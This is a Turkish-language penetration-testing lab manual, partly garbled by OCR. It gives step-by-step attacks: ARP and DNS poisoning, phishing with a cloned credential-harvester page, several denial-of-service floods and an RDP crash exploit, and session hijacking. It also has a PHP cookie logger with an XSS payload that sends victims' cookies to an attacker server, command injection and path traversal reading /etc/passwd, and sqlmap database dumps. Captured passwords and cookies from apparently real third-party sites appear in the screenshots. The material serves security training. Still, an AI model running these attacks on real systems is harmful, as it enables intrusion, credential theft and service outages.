Lab Senaryosu: Ettercap programi ile hedef sistemin arp tablosu zehirlenerek trafik dinlenir.
Parolalar elde edilir.

Kullanilan isletim sistemi:

- Kali Linux

- Windows 7

Kullamilan Araclar:

- Ettercap

Adimlar:

1.Adim

Ettercap -G komutu ile ettercap'in grafiksel arayiizii agilir.
Komut: Ettercap -G

2.Adim

Sniff altindan unified sniffing secilir. Zehirleme yapilacak interface secilir.
3.Adim

Hosts altindan scans for host secilir. Bu agdaki diger cihazlar tarayacaktir. Yine host altindan host
list secilerek, bulunan cihazlar listelebilir. Zehirlenmek istenilen cihaz secilir ve add to target 1'e
basilir. Zehirlemek istenilen diger cihaz secilerek add to target 2 'ye basilir.

4.Adim

Mitm sekmesi altindan arp poisoning segilir. Cift yonlii zehirleme icin 'Sniff remote connections’,
tek yonlii zehirleme icin 'Only poison one-way' secilir. Zehirleme islemi basaltilmis olur.

5.Adim

Start altindan start sniffing secilerek sniffing islemi baglatilir.

ettercap 0.8.2 + - O0X
Start Targets Hosts View Mitm Filters Logging Plugins Info

GROUP 1 :192.168.170.2 00:50:56:FF:82:1D

GROUP 2 : 192.168.170.151 00:0C:29:8A:3A:16
Unified sniffing already started.

FTP : 85.95.238.201:21 -> USER: admin PASS: admin

HTTP : 77.245.149.29:80 -> USER: admin PASS: admin INFO: http//sakuraaikido.org/administrator/

CONTENT: username=admin&passwd= admin&lang=&option=com_login&task=login&26ffcob3eecb0gce0719do29e2¢cdf992=1




7.4: DNS Zehirleme

Amag: Hedef sistemi zehirleyerek dns isteklerine cevap vermek

Lab Senaryosu: Hedef sisteme arp zehirlemesi yapilir. DNS isteklerine cevaplar donerek kurban
sahte sayfaya yonlendirilir.

Kullanilan isletim sistemi:

- Kali Linux

- Windows 7

Kullamilan Araclar:

- Ettercap

- Setoolkit

Adimlar:

1.Adim

/etc/ettercap/etter.dns dosyasi acilir.

Komut: nano /etc/ettercap/etter.dns

2.Adim

Bu dosyaya dns kaydi girilir. Dns kaydi olarak sahte sayfanin bulundugu ip adresi verilmelidir.
3.Adim

Sahte sayfa hazirlamak icin setoolkit araci agilir.
Komut: setoolkit

4.Adim

Sirasiyla; 1) Social-Engineering Attacks, 2) Website Attack Vectors, 3) Credential Harvester Attack
Method, 2) Site Cloner secilir. POST back degeri olarak kalinin ip'si yazilir. Clone alanina ise
kopyalanacak websitesi yazilir.

5.Adim

Apache web sunucusu ¢alistirilir.
Komut: service apache? start
6.Adim

Lab 8.3'te drneklenen sekilde arp zehirlemesi yapilir. Fakat dns zehirlemesi icim plugins
meniisiinden dns_spoof'ta isaretlenir.

7.Adim

Hedef sistemin sahte sayfada yaptig1 post vb islemler var ise “/var/www/html” altindan
goriintiilenebilir.



7.5: Network miner

Amag: Hedef sistemi zehirledikten sonra tiim trafigini kayderek analizini yapmak

Lab Senaryosu: Hedef sisteme arp zehirlemesi yapilir. Hedef sistemin trafigi kayit altina alinip
incelenir.

Kullanilan isletim sistemi:

- Kali Linux

- Windows 7

Kullamilan Araclar:

- Ettercap

- tcpdump

- wireshark

Adimlar:

1.Adim

Hedef sisteme arp zehirlemesi yapilir.

2.Adim

Hedef sisteme ait trafik kayit edilir.

Komut: tcpdump -i [interface] host [hedef ip] -w [kayit ismi]
3.Adim

Kaydedilen dosya wireshark ile acilir. Burada hedef sistemin tiim trafigi goziikecektir.
4.Adim

HTTP objeleri File mentisii altindaki exprt objects boliimiinden export edilebilir.



8 - Sosyal Miihendislik
8.1: Phishing Saldirisi

Amac: Hedefteki kullanicilar1 sahte sayfada login olmaya zorlamak
Lab Senaryosu: Hedef servise yonelik sahte bir login sayfasi yada viriislii bir dosya hazirlanir.

Emkei.cz websitesinden hazirlanan sayfayi iceren e-posta 6nemli birinden geliyormus gibi
gonderilir.

Kullamilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- firefox

Adimlar:

1.Adim

Hedef servise yonelik sahte bir login sayfas1 yada viriislii bir dosya hazirlanir.
2.Adim

https://emkei.cz/ sayfasina gidilir. Hazirlanan baglantiy1 iceren e-posta 6nemli birinden geliyormus
gibi hedef kullanicilara gonderilir.

Free online fake mailer with attachments, encryption,
HTML editor and advanced settings...

From Name: admin
From E-mail: ladmin@bg-tek.net
To: herhangibiri@bg-tek.net
Subject: Acil
Attachment: | Dosya Se¢  Dosya secilmedi
Attach another file
Advanced Settings
Content-Type: ® text/plain text/htmil Editor
Text:|Iyi glrler,

Asagidaki baglantidan tOm personelin parolasini
degistirmesi gerekmektedir.

Bilgi Islem



9 - DOS
9.1: Smurf Saldirisi
Amac: Hedef sisteme cok sayida paket gondererek servis dis1 birakmak

Lab Senaryosu: Broadcast adresine saldir1 yapilmak istenilen ip'den geliyormus gibi ¢ok sayida
ping paketi gonderilir. Broadcast pingine cevap veren sistemler cevabi saldirmak istedigimiz
sisteme donecektir.

Kullamilan isletim sistemi:
- Kali Linux

Kullamilan Araclar:

- hping3

Adimlar:

1.Adim

Broadcast adresine saldir1 yapilmak istenilen ip'den geliyormus gibi ping paketleri génderilir.
Hping3'te -1 icmp paketi gondermeye, -a ip spoofing'e yarar. Flood ise miimkiin oldugu kadar paket
gondermek icin kullanilir.

Komut: hping3 -1 -a [hedef-ip] [broadcast-ip] —flood



9.2: Ping Of Death Saldirisi
Amag: Hedef sisteme biiyiik boyutta ping paketleri gondererek servis dis1 birakmak

Lab Senaryosu: Hedef sisteme biiyiik boyutta paketler génderilir. Bu paketlere ayni boyutta
paketler ile cevap vermeye calisan sistemler bir siire sonra gercek kullanicilara cevap veremez hale
gelir.

Kullanilan igletim sistemi:
- Kali Linux

Kullamilan Araclar:

- ping

Adimlar:

1.Adim

Hedef sisteme biiyiik boyutta icmp paketleri gonderilir. -f paremetresi cok sayida paket
gondermeye, -s parametresi ise paket boyutu belirtmeye yarar.

Komut: ping 192.168.170.150 -f -s 65000



9.3: Bellek Tasirma Saldirisi

Amag: Hedef sisteme gonderilen exploit ile bellegi tasirip sistemi servis dis1 birakmak

Lab Senaryosu: Metasploit framework'e girilir. Bellek tagirma saldiris1 i¢in uygun exploit segilir.
Gerekli paremetreler doldurulup gonderilir.

Kullanilan isletim sistemi:
- Kali Linux

- Windows 2008
Kullanilan Araclar:

- msfconsole

Adimlar:

1.Adim

Metasploit framework acilir. Rdp portu agik olarak tespit edilen Windows 2008 icin uygun exploit
secilir.

Komut: use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

2.Adim

Rhost ve rport paremetreleri doldurularak saldir1 gerceklestirilir. Saldirinin bagarili olmasi
durumunda hedef sistem mavi ekran verecektir.



9.4: DHCP Starvation

Amag: Sahte mac adresi ile DHCP discover paketleri gondererek DHCP scope'larini doldurmak

Lab Senaryosu: DHCP sunucusuna ¢ok sayida DHCP discover paketi gonderilir. DHCP scope'u
doldugunda DHCP sunucu gergek kullanicilara cevap veremeyecektir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- yersinia

Adimlar:

1.Adim

Yersinia aracinin grafiksel arayiizii agilir.
Komut: yersinia -G

2.Adim

Launch attack butonuna basilir. Oradan DHCP sekmesine girilir. Sending DISCOVER packet
isaretlenerek “ok” butonuna basilir.

Yersinia 0.7.3
File Protocols Actions Options Help
] S = x 0O: \ x
Launch attack Edit interfaces Load default Choose attack
Protocols Packets j cor | DHCR CDP |DHCP | 802.1Q 802.1X DTP HSRP ISL MPLS STP WTP

- Choose attack
0 SIP DIP Me

DHC Description DoS
) sending RAW packet

@® sending DISCOVER packet

() creating DHCP rogue server

() sending RELEASE packet

p

0
0
0
0
0
0
0
0
0

T

Cancel Il oK

Field Value Description
Dynamic Host Configuration Protocol

Source MAC  |02:48:33:66:02:51|  Destination MAC  |FF:FF:FF:FF:FF:FF| | Extral

sP |0.0.0.0 | bpiP  |255.255.255.255| sport |es | DPert |67 |
op [o1] Htype [01] HEN [e8] Hops [ee| xid [coooosss| secs [oooe| Flags  [soo0o)

c |o.0.0.0 | w J|o.0.0.0 | s |e.0.0.0 | @ |eo.0.0.0 [
CH |02:48:33:66:02:51|

17:47:55



9.5: SYN saldirisi

Amag: Sunucuya cok fazla SYN paketi gondererek sunucunun hafizasinin dolmasini saglamak

Lab Senaryosu: Sunucuya c¢ok sayida SYN istegi gonderilir. Hafizas1 dolan sunucu gercek
kullanicilara cevap veremeyecektir.

- Kali Linux
Kullanilan Araclar:
- hping3

Admlar:

1.Adim

Sunucuya rastgele ip'lerden miimkiin oldugunca cok sayida SYN paketi génderilir. -S paremetresi
SYN paketi gondermeye, --rand-source paremetresi rastegele ip'lerden geliyormus gibi paket
gondermeye, -p parametresi portu belirtmeye, -- flood parametresi ise miimkiin oldugunca ¢ok
saylda paket gondermeye yarar.

Komut: hping3 -S [hedef-ip] --rand-source -p 80 —flood



10 - Oturum Calma
10.1: Oturum Calma Saldirisi
Amag: Hedefteki kullanicinin oturumunu calarak devam eden oturumunu devir almak

Lab Senaryosu: Hedef sisteme arp zehirlemesi yapilir. Kullanicinin HTTP trafigi izlenerek oturum
bilgisi elde edilir. Elde edilen oturum bilgisiyle kullanicinin oturumu devir alinir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamlan Araclar:

- ettercap

- wireshark

- firefox web developer eklentisi
Adimlar:

1. Adim

Hedef sistem ettercap ile zehirlenir.
2.Adim

Trafik wireshark ile izlenir. Http trafigi filtrelenir. Paketlerin icerigine bakilip cookieler tespit edilir.

Capturing from eth0 [Wireshark1.12.6 (Git Rev Unknown from unknown

File Edit “iew Go Capture Analyze Statistics Telephony Tools Internals Help
@0 /img Dl ixo Qe» 075 BE aaaf @EGs @

Filter: http Expression... Clear Apply Kaydet

NO . Time Source Destination Protocol Length Info

. 46339600
o =

02.168
229.233.

.82724200

ol
.92753400 1592.168.170.1 239.255. S5DP 214 M-SEARCH * HTTRP/1.1
.82831000 192.168.170.1 239,255, SSDP 214 M-SEARCH #* HTTR/1.1
.92914500 1592.168.170.1 239.255. S5DP 214 M-SEARCH * HTTRP/1.1
HTTP 483 GET /pub/firefox/releases/48.0.2/upd

1722 100.6699680 192.168.170.151 22 EE
100 o] 7C 21.69.33 483 [TCP Retransmission] GET /pub/firefol
2309 101.2258210 2.21.69.33 192.168.170.151 HTTP 1268 HTTP/1.1 206 Partial Content (appli

e ————
Accept: application/json, text/javascript, */*; g=0.01l\r\n
Origin: http://oyungezer.com.tririyn
X-Requested-With: XMLHttpRequestirin
User-Agent: Mozilla/S.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded\ryn
Referer: http://oyungezer.com.tr/forum/discussionsirin
Accept-Encoding: gzip, deflateyryn
Accept-Language: tr-TR,tr;g=0.8,en-US;g=0.6,en;q=0.4\r\n
v [truncated]Cockie: b3eblbeSd7daabdosbdSa0zd40cdbenf=48316b%ef86easbBe0a7322b5dadfaff; _gat=1; Vanilla=55970- 14747
W rin
[Full request URI: http://oyungezer.com.tr/forum/dashboard/notifications/inform]
[HTTP reguest 1/7]




3.Adim

Firefox ile tespit edilen cookie'nin bulundugu web sitesi ziyaret edilir. Web developer eklentisindeki
cookies boliimiinden view cookie information secilir. Hedef sistemden alinan cookie bilgisi buraya
girilir.

Cookie Information from http://www.egitimhane.com/ - Mozilla Firefox

Forum Sen Konulan % | &2 Cookie Information fr... » | 4
chrome:ffweb-developerfcontent/generatedjview-cookie-infarmation.html (< | |O\ editimhane -)| Ww B 4+ #

Most Visited v JllOffensive Security "% Kali Linux “ Kali Docs % Kali Tools % Exploit-DB Wy Aircrack-ng

@Dpisablev K Cookiesv # cssv [JFormsv [&imagesv @ Information v Miscellaneous v # Outlinev ¢’ Resizev & Tools v [@View Sou

=

Value o9

Heost wranwegitim hane.com

Path

Expires Fri. 22 Sep 2017 21:26:30 GMT
Sacure No

HttpCinky No

W Dekete.. | # Edit..

The cookie 'PHPSESSID was edited.

Name PHPSESSID

Value BB21fddal codbe fSE04c 2006df 278D
Heost woww .egitim hane.com

Path

Expires At end of session

Sacure No

HttpCinky MNo

W Dekete.. | # Edit..

4.Adim

Websitesi sayfasi yenilendiginde oturum ¢alma islemi basarili olmussa, sitede hedefin hesabiyla
login olundugu goriiecektir.



11 - Web Sunucularina Giris

11.1: Web Sunucuna ait bilgilerin sorgulanmasi

Amagc: Hedef web sunucusunun iizerinde suan kullanilan ve ge¢cmiste kullanilmis olan isletim
sistemi ve programlar hakkinda bilgi sahibi olmak

Lab Senaryosu: Netcraft sitesine girilerek hedef sistem hakkinda bilgi sahibi olunur.

Kullanilan isletim sistemi:
- Kali Linux

Kullamlan Araclar:

- firefox

Adimlar:

1.Adim

Netcraft.com adresine girilir. “What’s that site running?” boliimiine sorgulanmak istenilen domain

yazilir ve sorgulanir. “Site report” boliimiinden domainle ilgili detayh bilgiye ulasilabilir.

Site title BG-Tek Date firstseen May 2011

Site rank 1147357 Primary language Turkish

Description 5651 uyumlu log tutma,Firewall ve hotSpot gézimleri sunar.

Keywords coslat5651,5651 Sniffer,Hotspot,Firewall Hotspot, Hizmet Portall, Givenlik duvar,5651 loglama,5651 yasas|, 5651 firewall, givenlik duvar, hotspot,mirror portmirror log, Web Filireleme, Kanuni log toplama,Content filtering,vpn,load

halancing,yik dengeleme

= Network

Site hitpifwwwbg -tek.net
Domain bg-teknet

IP address 85.95.238.201

IPv6 address Hot Present

Domain registrar godaddy.com
Organisation Domains By Proxy, LLC
Top Level Domain Metwork entities (.net)
Hosting country TR

I Hosting History

Newmlock owner
lksir Internet Hizmetleri AS_ - Istanbul
Iksir Internet Hizmetler A.S. - Istanbul

lksir Internet Hizmetleri AS_ - Istanbul

= Security
Heteraft Risk Rating [FAQ] 010
on Epamllaus Block List Mo

On Policy Block List Mo

IP address

8595238201
8595238201
8595238201

Netblock Ovmer
Nameserver
DNS admin
Reverse DNS

Nameserver

Iksir Internet Hizmetleri A.5. - Istanbul

ns69 domaincontrol com

dns@jomaxnet

201-238-95-85-dafacenter-services ixirtelekom.com tr

whois.

Hosting company

DNS Security Extensions

os
Linux
unknown

Linux

On Exploits Block List

On Domain Block List

lksir Internet Hizmetleri

unknown

Web server

Apachef2.2 22 Ubuntu
Apachef2.2.22 Ubuntu
Apachef2 217 Ubuntu

No
No

com

Lastseen
23-Jul-2016
18-Mov-2012
17-Mov-2012



11.2: Sunucu Hakkinda Detayli Bilgiler Ve Olasi Zafiyetler

Amagc: Hedef web sunucusu hakkinda detaylar ve olasi zafiyetler hakkinda bilgi toplama

Lab Senaryosu: Nikto araci kullanilarak hedef domain ile sunucu hakkinda detayh bilgilere ve
olasi zafiyetlere ulasilabilir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- nikto

Adimlar:

1.Adim

Nikto aracina -h paremetresi ile domain verilir ve sorgulama yapilir.

Komut: nikto -h coslat.com

Cikusi:

root@kali:~# nikto -h coslat.com
- Nikto v2.1.6

+ Target IP: 35.204.203.72

+ Target Hostname: coslat.com
+ Target Port: 80
+ Start Time: 2016-09-23 10:30:04 (GMT3)

+ Server: Apache/2.2.22 (Ubuntu)

+ Server leaks inodes via ETags, header found with file /, inode: 1377230, size: 17949, mtime: Tue Feb 24 09:32:05
2015

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of
XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a
different fashion to the MIME type

+ No CGl Directories found (use '-C all' to force check all possible dirs)

+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29
are also current.

+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD

+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.24

+ OSVDB-3092: /sitemap.xml: This gives a nice listing of the site content.

+ OSVDB-3092: /manual/: Web server manual found.

+ OSVDB-3268: /manual/images/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.




12 — Web Yazilim Zayifliklar
12.1: XSS Zafiyeti ile Cookie Calma

Amac: Hedef sisteme login olmus kullanicinin XSS zafiyetinden yararlanarak cookie bilgisini
calma

Lab Senaryosu: XSS zafiyeti bulunan sistem tespit edilir. Kurbanin cookisini ¢calmak i¢in sunucu
tarafinda bir betik hazirlanir. Kullaniciya bu sunucuya ¢ikan bir baglanti yollanir. Kurban bu
baglantiya girdiginde kurbanin cookie'si elde edilmis olur. Elde edilen cookie ile oturum ¢alma
labinda gosterilen sekilde kullanicinin oturumu devir alinir.

Kullamilan isletim sistemi:

- Kali Linux

Kullanilan Araclar:

- php

- javascript

- firefox

- firefox web developer eklentisi
Adimlar:

1.Adim

Firefox ile “testasp.vulnweb.com” adresine girilir. Register alanindan kayit olunur. Daha sonra
sayfaya login olunur. Search alaninda bulunan XSS zafiyetinden yararlanarak ekrana cookie yazilir.

Komut: testasp.vulnweb.com/Search.asp?tfSearch=<script>alert(document.cookie)</script>

Ciktst:
j ) acuforum search x \\\%
(&) @ | testasp.vulnweb.com/Search asp?tfSearch=<script=alert(document cookie) </script> x |[a Arama a3 A d P v =

ablev & Cookies™  CSS¥ [dForms> [Eimages~™ @ Information™ [E Miscellaneous™ # Outline™ 4 Resize™ & Tools~ @ View Source™ [1 Options™ vy Q@

ASPSESSIONIDQATRDAAB=0PH]GANDPADIJFKLEPOIECLN

Tamam



2.Adim

Cookie degerini uzak saldirgandan elde edebilmek icin web sunucusuna bir script koyulur.

<?php

$cookie=$_GET["cookie"];

$ip=$_SERVER["REMOTE_ADDR"];

$d = date('d m Y H:i:s');

file_put_contents("cookiler.txt", "$d:$ip:$cookie\n", FILE_APPEND );
>

Phishing ile hedefe bu sunucuya cikan asagidaki link gonderilir. Kurban linke tikladiginda eger
sayfada login olmussa cookie bilgisi elde edilecektir.

Komut: testasp.vulnweb.com/Search.asp?tfSearch=<script>document.write('<img
src="http://sunucu-adresi/cookie.php?cookie="+document.cookie+"'/>")</script>

Baz1 browserlar icin ifadeyi url encode'lu géndermek gerekebilmektedir.

Komut: testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%3Edocument.write
9%28%27%3Cimg%20src%3D%22http%3A%2{%2fsunucu-adresi%?2fcookie.php%3Fcookie%3D
%27%?2bdocument.cookie%2b%27%22%2{%3E%27%29%3C%2fscript%3E

3.Adim

Cookie elde edildikten sonra oturum ¢almadaki gibi cookie browsera girilerek kurbanin oturumu
elde edilebilir.


http://sunucu-adresi/cookie.php?cookie='+document.cookie
http://sunucu-adresi/cookie.php?cookie='+document.cookie
http://sunucu-adresi/cookie.php?cookie='+document.cookie

12.2: Komut Enjeksiyonu

Amag: Hedef sisteme komut enjeksiyonu yapmak

Lab Senaryosu: Komut enjeksiyonu tespit edilen sistemde komut calistirilir.

Kullanilan isletim sistemi:
- Kali Linux

- Web for pentester
Kullamilan Araclar:

- firefox

Adimlar:

1.Adim

Browser ile web for pentester makinesinin ip adresine gidilir. Commands injection béliimiinden

example 1'e girilir.

2.Adim

Komut enjeksiyonu zafiyeti bulunan sayfaya ping komutundan sonra istenilen komut génderilir.

Komut: http://web-for-pentester-ip/commandexec/example1.php?ip=127.0.0.1 && cat /etc/passwd

Bazi browserlar i¢in ifadeyi url encode'lu géndermek gerekebilmektedir.

Komut: http://web-for-pentester-ip/commandexec/examplel.php?ip=127.0.0.1%20%26%26%?20cat

%20%2fetc%2fpasswd
Ciktisi:

(> PentesterLab » Webf... x | &

€ 192.168.170.146/comma

@pisablev & Cookies¥  CS5¥ [JFor

rdexec/examplel.php?ip=127.0.0.

sswd Baoe

v @ nformationv [ Miscella sv /Outline¥ 4 Resize” K Tools

PentesterLab.com Home

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.014 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.019 ms

-- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms

rtt min/avg/max/mdev = ©.014/0.016/0.019/0.004 ms
root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

SYNc:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:6nats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody :x:65534: 65534 :nobody: /nonexistent:/bin/sh
libuuid:x:100:101::/var/1ib/libuuid:/bin/sh

mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:102:65534: :/var/run/sshd:/usr/sbin/nologin
openldap:x:103:106:0penLDAP Server Account,,,:/var/lib/ldap:/bin/false
user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash



http://debian/
http://debian/

12.3: Parametre ve Form Degistirme

Amag: Bir web sunucusunda gonderilen formda degistirme yapmak

Lab Senaryosu: Burp proxy yazilimi kullanilarak firefox browserdan gonderilen isteklerde araya
girilip, parametre ve form degistirme islemi yapilir.

Kullanilan isletim sistemi:
- Kali Linux

Kullamilan Araclar:

- firefox

- burp suite

Adimlar:

1.Adim

Firefox browser acgilir. Preferences'tan advanceda girilir. Network sekmesindeki settings butonuna
basilir. Buradan manuel proxy configuration secenegi secilir. HTTP Proxy boliimiine 127.0.0.1 ve
port boliimiine 8080 yazilir.

2. Adim

Burp suite programi agilir. Proxy sekmesinden Intercept tabi acilir. Form ve parametre
degistirebilmek icin “intercept on” olmalhdir.

3.Adim

Gonderilen web istekleri burp suite programi tarafindan durdurulacaktir. Burada droplama ve
degistirme islemleri yapilabilmektedir.

Burp Suite Free Edition v1.6.32

Burp Intrudsr Repeater Window Help

[ Target spider | Scanner | Intruder | Repester | Sequencer | Decoder | comparer | Extender | options | Alerts

_[ | HTTP history | webSockets histary | options |

[:#] Request to http:/itestasp.vulnweb. com: 80 [87.230,29.167)

[ Forward || Drop | [Tinterceptis an | [ Action Comment this item 018
Raw | Params | Headers Hex

GET /Search.asprtfsearch-a HTTR/L 1 3

Host: testasp.vulnweb.com r

User-Agent: MozillasS.0 (X11: Linux x86_64: rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/htnl,application/xhtnl+xul,application/xnl:q=0.9, ¥/+;q=0.8
Accept-Language: en-US,en;gq=0.5

Accept-Encoding: gzip, deflate

Referer: http://testasp.vulnweb.com/Search.asp

Cookie: ASPSESSIONIDOATRDAAB=LIGKGANDAEFAPCGIJMNKHPOI

Connection: close




12.4: Directory Traversal

Amag: Dizin atlama zafiyeti kullanilarak hedef sistemden dosya okumak

Lab Senaryosu: Dizin atlama zafiyeti tespit edilen sistemden /etc/passwd dosyasi okunur
Kullanilan isletim sistemi:

- Kali Linux

- Web for pentester

Kullamilan Araclar:

- firefox

Adimlar:

1.Adim

Web for pentester ip adresine gidilir. Directory traversal béliimiindeki examplel'in yaninda bulunan
resme sag tiklayarak resmin konumu kopyalanir.

2.Adim

Kopyalanan adrese gidilir. Gidilen adreste directory traversal zafiyeti kullanilarak /etc/passwd
dosyasi elde edilir.

Komut: http://web-for-pentester-ip/dirtrav/examplel.php?file=../../../etc/passwd

Ciktisi:

Dosya Dizen Gorinim Gegmis Yerimleri Araglar Yardim

©” Pentesterlab » Web f... | &7 http://192....etc/passwd x | &
€) G 192.168.170.146/ditrav/exampleL php?file etc/passwd Arama we $ A 4 » B =
@Disablev & Cookies¥ 2 CSSv [dFormsv Eimagesv @ Informationv [E Miscellaneous¥ / Outlinev ¢ Resize v AToolsv [View Source v (0] Options ¥ Qv o

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:1p:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var
/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh
mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin openldap:x:103:106:0penLDAP Server Account,,,:/var/lib/ldap:/bin/false
user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
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13 - SQL Enjeksiyonu
13.1: SQL enjeksiyonu
Amac: SQL Enjeksiyonu zafiyetinden yararlanarak veritabanindan veri elde etmek

Lab Senaryosu: SQL enjeksiyon zafiyeti tespit edilen sistemden sqlmap kullanilarak veritabani
elde edilir

Kullanilan isletim sistemi:
- Kali Linux

- Web for pentester
Kullanilan Araclar:

- firefox

- sqlmap

Adimlar:

1. Adim

Web for pentester ip adresine gidilir. SQL Injections altindaki example 1'e girilir. “ ' ”(tek tirnak)
yardimiyla sql enjeksiyonu tespit edilir.

Komut: http://web-for-pentester-ip/sqli/examplel.php?name=root' or '1'="1
2.Adim

Sqglmap yardim ile hedef sistemdeki veritabanlari listelenir. -u parametresi ile url verilir. --dbs
parametresi ile sistemdeki veritabanlari listelenir.

Komut: sqlmap -u "http://web-for-pentester-ip/sqli/example1.php?name=root" —dbs

Ciktisi:

sqlmap -u "http://web-for-pentester-ip/sqli/example1.php?name=root"” —-dbs
[17:06:05] [INFO] fetching database names

available databases [2]:

[*] exercises

[*] information_schema

3.Adim

-D parametresi ile bir veritabani secilir, --tables parametresi ile secilen veritabanindaki tablolar
listelenir.

Komut: sqlmap -u "http://web-for-pentester-ip/sqli/example1.php?name=root" -D exercises --tables

Ciktisi:

sqlmap -u "http://web-for-pentester-ip/sqli/example1.php?name=root” -D exercises --tables
[17:25:17] [INFQ] fetching tables for database: 'exercises'
Database: exercises
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[1 table]

| users |

4.Adim
-T parametresi ile tablo secimi yapilip, --dump parametresi ile tablo icerigi elde edilir.

Komut: sqlmap -u "http://web-for-pentester-ip/sqli/example1.php?name=root" -D exercises -T
users --dump

Ciktis:

sqlmap -u "http://web-for-pentester-ip/sqli/example1.php?name=root” -D exercises -T users --dump
Database: exercises

Table: users

[4 entries]

SR S + + +

| id | groupid | age | name | passwd |
[ — [ + + +

|1 110 |10 | admin | admin |
|2 10 | 30 | root | admin21 |
|32 | 5 |user1|secret |

|5 |5 | 2 |user2|azerty |

E— S — + +
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14 - Kablosuz Aglar

14.1: Wifi Adaptoriinii monitér moda gecirmek

Amac: Havadaki paketleri yakalayabilmek icin wifi ag adaptoriinii monitér moda gecirmek
Lab Senaryosu: Sisteme takili wifi adaptor tespit edilip monitér moda gegirilir
Kullamilan isletim sistemi:

- Kali Linux

Kullanilan Araclar:

- airmon-ng

Adimlar:

1.Adim

Wifi adaptor sisteme baglanir ve aygit ismi bulunur.

Komut: iwconfig

Ciktisi:

iwconfig
eth0  no wireless extensions.
wlan2 |IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

lo no wireless extensions.

2.Adim

Tespit edilen wlan2 isimli aygiti monitér moda gegirmek icin airmon-ng araci kullanilir. Airmon-ng
aracinin ¢alismasini engelleyen processler monitér moda gecmeden 6nce kapatilir.

Komut: airmon-ng check kill
airmon-ng start wlan2

Ciktsi:

airmon-ng check kill
Killing these processes:
PID Name
998 wpa_supplicant
999 dhclient
airmon-ng start wlan2
PHY  InterfaceDriver Chipset
phy0  wlan2 ath9k_htc Atheros Communications, Inc. AR9271 802.11n

(mac80211 monitor mode vif enabled for [phyO]wlan2 on [phyO]wlan2mon)




‘ (mac80211 station mode vif disabled for [phyO]wlan2)

Aygitimiz wlan2mon ismiyle monitér moda ge¢mistir.

iwconfig
eth0 no wireless extensions.

wlan2mon |EEE 802.11bgn Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

lo no wireless extensions.




14.2: Sifresiz aglari dinlemek

Amag: Sifresiz networklere baglanmadan paketleri goriintiilemek

Lab Senaryosu: Sisteme takili wifi adaptor tespit edilip monitér moda gegirilir. Monitér moda
gecirilen adaptor kullanilarak cevredeki yayin yapan cihazlar tespit edilir. Sifresiz yayin yapan
cihaza gonderilen paketler kaydedilir.

Kullanilan igletim sistemi:

- Kali Linux

Kullamilan Araclar:

- airmon-ng

- airodump-ng

Adimlar:

1.Adim

Wifi adapt6r monitér moda gegirilir.
2.Adim

Parolasiz wifi erisim noktalarin1 bulabilmek i¢in monitér moda gecirilen aygit iizerinden dinleme
baslatilir. ENC alan1 OPN olarak goziiken cihaz parolasizdur.

Komut: airodump-ng wlan2mon

Ciktist:

